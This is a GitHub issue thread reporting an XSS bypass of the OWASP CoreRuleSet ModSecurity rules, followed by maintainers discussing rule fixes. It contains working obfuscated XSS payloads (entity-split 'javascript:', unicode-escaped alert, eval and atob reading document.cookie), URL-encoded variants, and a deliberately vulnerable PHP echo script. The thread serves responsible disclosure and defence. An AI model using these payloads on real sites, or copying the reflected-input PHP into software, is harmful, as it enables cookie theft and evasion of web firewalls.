coreruleset icon indicating copy to clipboard operation
coreruleset copied to clipboard

XSS Bypass on the official CoreRuleSet rules (REQUEST-941-APPLICATION-ATTACK-XSS.conf)

Open 0SPwn opened this issue 3 years ago • 12 comments

Good morning, hope all is well.

I have came across a XSS Bypass while testing the ModSecurity CRS, the specific configuration file REQUEST-941-APPLICATION-ATTACK-XSS.conf is vulnerable to an XSS Bypass using unicode.

I have setup the CRS with the following configuration enabled in the /etc/apache2/mods-available/security2.conf

<IfModule security2_module>
        SecDataDir /var/cache/modsecurity
        IncludeOptional /etc/modsecurity/*.conf
        IncludeOptional /usr/share/modsecurity-crs/coreruleset/crs-setup.conf
        IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/*.conf
</IfModule>

As you can see it's including the CRS Directory which I have setup in /usr/share/modsecurity-crs/coreruleset/* and rules being in /rules/

Now there's a few things to note, hyper links were allowed so our official start was figuring out that was allowed.

<a href=https://www.google.com>click</a>

We knew it wouldn't be as easy as just inputting javascript:alert(document.cookie) but we tried and it got detected, as we thought.

We spent about 10 minutes looking at the tags, event handlers and methods allowed.

The first step to building a successful bypass was by getting the javascript: keyword to work, we came up with the following:

jav&#x0D;ascript:

Note: In a few edited versions of CRS they block : so below we posted our Bypass for that instead of the one above.

Our payload so far:

<a href=jav&#x0D;ascript&colon;>XSS</a>

Although this was working we still needed to call something like alert() prompt() eval() etc etc.

So we decided to use Unicode which would encode the alert() to act as an obfuscation to avoid the WAF detection in the rule set.

We had doubts but when this worked we were shocked.

XSS:

<a href=jav&#x0D;ascript&colon;\u0061lert&#x28;document.domain&#x29;>XSS</a> 

As you can see we're calling document.domain

Note: When using this for RXSS you must encode the payload using URL Encoding:

%3Ca%20href%3Djav%26%23x0D%3Bascript%26colon%3B%5Cu0061lert%26%23x28%3Bdocument.domain%26%23x29%3B%3EXSS%3C%2Fa%3E%20

Now we have the bypass constructed and working:

image

PHP script for the XSS:


<?php
$val = "1337";
setcookie("SESSID", $val, time()+3600, '/');
$x = $_GET['xss'];
echo($x);
?>

In a SXSS Case you don't need URL Encoding.

Now, we thought we'd be able to just call document.cookie, however, this was detected and blocked:

image

Searching why:

image

  • This is suppose to reference that it's being blocked in the rule of course we didn't spend time searching for the actual part.

Bypass:

We're going to use eval() to call atob() which is a function to decode Base64 Values thus we can create a string which calls alert(document.cookie) and have atob() decode that base64 string in theory we should get the alert().

We of course realised eval() would be blocked and probably atob() was also blocked. So, we tried our trick of Unicode and well, we successfully bypassed this restriction to be able to call document.cookie:

image

Payload:

%3Ca%20href%3Djav%26%23x0D%3Bascript%26colon%3B%5Cu0065val(%5Cu0061tob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ%3D%3D%22))%3B%3Exxx%3C%2Fa%3E

Decoded (for SXSS):

<a href=jav&#x0D;ascript&colon;\u0065val(\u0061tob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));>xxx</a>

Fix: Block Unicode chars in the rules.

If the above is already done then it may've been incorrectly added to the rule as the bypass above works on the latest version of coreruleset.

Thanks,

Twitter

0SPwn avatar Apr 26 '22 06:04 0SPwn

This is beautiful. Thank you.

dune73 avatar Apr 26 '22 07:04 dune73

Good job!

I cannot get payload fully working, it displays 'only' an empty alert box. Any hints? Firefox 99.0.

azurit avatar Apr 26 '22 07:04 azurit

Please try Chrome or Edge // Opera.

Secondly, if you're trying document.cookie make sure there's a cookie in the stored memory else you'll get an empty alert box.

Lastly make sure you've not edited the configuration rules etc or changed anything, just git clone this repo, change the filenames etc from .example to .conf etc etc and then test.

If you continue to face issues please contact me on Twitter and then ill provide you with an email you can send the PoC to.

It may be a FF version issue, I hope not. My PoC is below.

https://user-images.githubusercontent.com/103416140/165257174-929b80f5-3776-4751-be04-5868b640e2d0.mp4

Thanks,

RiotSecurityTeam.

0SPwn avatar Apr 26 '22 08:04 0SPwn

Thanks, now it works.

azurit avatar Apr 26 '22 08:04 azurit

Thanks, now it works.

On your version of FF? I would just like to clarify it wasn't a browser issue but rather no cookies being stored in memory, I should've really started a session in the PHP Code but didn't think that was required. Thanks for informing me, I'll make a change soon.

  • RiotSecurityTeam

0SPwn avatar Apr 26 '22 08:04 0SPwn

It was a 'no cookies' issue. Tested with Firefox 99.0 on linux.

azurit avatar Apr 26 '22 09:04 azurit

Thank you @RSTG0D for this beautiful bypass and for reporting it!

I had a look at the various inputs you provided and I think we should do the following things:

First, we should cover document.domain. Therefore I would like to extend the following rule that already covers document.write and document.cookie with the following: document.domain: https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf#L208

Next, I think we should add atob() to the file where we already cover eval(). And this is PHP rule 933160 in the file https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf#L330 that is generated from the regex source file: https://github.com/coreruleset/coreruleset/blob/v4.0/dev/util/regexp-assemble/data/933160.data#L57

And finally I would like to cover the evasions:

I think the &colon; in jav&#x0D;ascript&colon; is covered by the transformation htmlEntityDecode that we have in many of the 941 rules.

So I think we are talking about the unicode characters that you mentioned. We don't have a transformation function for that, but I found the following rule that tries to detect unicode in REQUEST_URI and REQUEST_BODY: https://github.com/coreruleset/coreruleset/blob/v4.0/dev/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf#L457 with the following regex \%u[fF]{2}[0-9a-fA-F]{2}. Do we want to add a similar, general rule for detecting other forms of unicode characters?? Or is this approach too general because unicode characters are legitimate. And we better enhance the 941 rules with detection of unicode characters inside the XSS strings??

franbuehler avatar Apr 30 '22 14:04 franbuehler

Sounds good to me, I will try to bypass it once we confirm the updates etc. Example: \u0061lert&#x28; there's no need for a user to be parsing unicode and specifically things like alert() so I totally agree with the detection.

Thanks,

RiotSecurityTeam

0SPwn avatar Apr 30 '22 18:04 0SPwn

Thank you for your feedback and for your offer to test again. I'll propose 2 PRs. One with the enhancement with document.domain and atob(), btoa(), alert() and another one with the detection of Unicode.

franbuehler avatar May 01 '22 09:05 franbuehler

I think the &colon; in jav&#x0D;ascript&colon; is covered by the transformation htmlEntityDecode that we have in many of the 941 rules.

That is not entirely correct, unfortunately. &colon; is not covered (the numerical counterpart is). See https://github.com/SpiderLabs/ModSecurity/blob/4127c1bf52d2b30a5c2c3e641b8085fd9a720f43/src/actions/transformations/html_entity_decode.cc#L160.

Rule 920260 (unicode detection) won't help. It looks for the % character at the beginning of the sequence. The format is specific to IIS (or the underlying OS).

theseion avatar May 03 '22 19:05 theseion

I think the &colon; in jav&#x0D;ascript&colon; is covered by the transformation htmlEntityDecode that we have in many of the 941 rules.

That is not entirely correct, unfortunately. &colon; is not covered (the numerical counterpart is). See https://github.com/SpiderLabs/ModSecurity/blob/4127c1bf52d2b30a5c2c3e641b8085fd9a720f43/src/actions/transformations/html_entity_decode.cc#L160.

Rule 920260 (unicode detection) won't help. It looks for the % character at the beginning of the sequence. The format is specific to IIS (or the underlying OS).

I did mention in my report &colon; was not needed for this PoC, however, edited versions of OWASP CRS had implemented an attempt to block : which &colon; bypassed. That's the reason I had mentioned it. As said, it's not apart of the bypass for OWASP CRS but in general, it's another bypass for edited versions.

0SPwn avatar May 03 '22 22:05 0SPwn

This issue has been open 120 days with no activity. Remove the stale label or comment, or this will be closed in 14 days

github-actions[bot] avatar Sep 01 '22 02:09 github-actions[bot]